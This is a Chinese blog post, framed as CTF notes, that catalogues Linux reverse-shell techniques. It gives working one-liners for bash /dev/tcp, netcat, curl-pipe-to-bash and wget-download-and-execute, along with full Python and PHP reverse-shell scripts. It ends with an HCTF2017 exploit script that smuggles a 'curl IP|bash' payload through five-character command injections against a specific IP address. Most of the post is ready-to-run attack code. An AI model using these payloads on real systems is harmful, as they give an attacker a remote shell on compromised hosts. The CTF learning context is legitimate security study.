Linux下几种常见的反弹shell的方式

time:2019-04-11 21:07

最近在做ctf题时碰到一些命令执行题借用命令执行来反弹shell,这里记录一下。

1.bash反弹shell

个人感觉bash反弹是最简单、也是最常见的一种。

bash -i >& /dev/tcp/192.168.20.151/8080 0>&1

bash一句话命令详解
以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。
image.png
其实以上bash反弹一句完整的解读过程就是:

bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
在反弹shell时要借助netcat工具反弹

Netcat 一句话反弹:Netcat反弹也是非常常用的方法,只是这个方法需要我们手动去安装一个NC环境

开启外网主机监听

root@kali:~# nc -lvvp 8080
listening on [any] 8080 ...

kali : 192.168.20.151
centos:192.168.20.130

先用kali开启监听:
然后centos执行bash一句话。
image.png

image.png

成功反弹。

2.netcat 一句话反弹

~  nc 192.168.31.151 7777 -t  /bin/bash
 命令详解:通过webshell我们可以使用nc命令直接建立一个tcp 8080 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机(192.168.31.151)。

先开启监听7777端口。
image.png

image.png

image.png
交互式反弹

3.curl反弹shell

前提要利用bash一句话的情况下使用curl反弹shell

在存在命令执行的服务器上执行curl ip|bash,该ip的index文件上含有bash一句话,就可以反弹shell。

例如在自己的服务器index上写上一句话

bash -i >& /dev/tcp/192.168.20.151/7777 0>&1

192.168.20.151就是作为监听端口的服务器用来得到反弹的shell。
image.png

存在一句话,利用curl反弹。
kali开启监听
image.png

image.png

4.wget方式反弹

利用wget进行下载执行

wget 192.168.20.130/shell.txt -O /tmp/x.php && php /tmp/x.php

利用下面贴出的php进行反弹。
开启监听
image.png

image.png
成功反弹shell

5.其他脚本反弹

python反弹

开启kail监听
image.png

image.png

反弹成功。
py脚本

#!/usr/bin/python
#-*- coding: utf-8 -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.20.151",7777)) #更改localhost为自己的外网ip,端口任意
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

php反弹

开启kail监听端口,
image.png

image.png

成功反弹,不过这里要将php保存成txt文件进行反弹,若为php文件不会反弹成功。
php脚本:

<?php
$sock=fsockopen("192.168.20.151",7777);//localhost为自己的外网ip,端口任意
exec("/bin/sh -i <&3 >&3 2>&3");
?>

ctf遇到的命令执行反弹shell

####HCTF2017的一道
image.png

这道题大概意思就是存在命令执行,但单次输入字符不得大于5。因此利用linux下特有的命令来写入shell反弹。原理就是利用curl ip|bash等很多方式去反弹shell。网上很多教程具体就不说了。

import requests
from time import sleep
from urllib.parse import quote
payload = [
    # generate `ls -t>g` file
    '>ls\\', 
    'ls>_', 
    '>\ \\', 
    '>-t\\', 
    '>\>g', 
    'ls>>_', 

    # generate `curl orange.tw.tw|python`
    # generate `curl 10.188.2.20|bash` 
    '>sh\ ', 
    '>ba\\', 
    '>\|\\',
    # '>03\\',
    # '>90\\',
    '>0\\',
    '>20\\',
    '>1.\\',
    '>12\\' ,
    '>7.\\',
    '>10\\' ,
    '>9.\\', 
    '>3\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\',
    
    #exec
    'sh _', 
    'sh g', 
]


r = requests.get('http://120.79.33.253:9003/?reset=1')
for i in payload:
    assert len(i) <= 5 
    r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )
    print (i)
    sleep(0.2)

在自己服务器中放入bash一句话,利用curl ip|bash反弹shell
开启监听,执行后可反弹shell。
image.png

利用linux文件写入技巧得到
image.png

ls -t >g是倒序输出文件名字,然后sh _执行此文件,写入到g中
image.png

可以看到该文件有curl xx.x.x.x|bash字符,在linux下输入任意一个字符后加\是不会中断当前操作,可以继续输入内容。而后面没有\则会中断,而sh可以在报错的情况下依然会执行可以执行的命令,因此不会影响curl的执行。

  • 2
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

BerL1n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值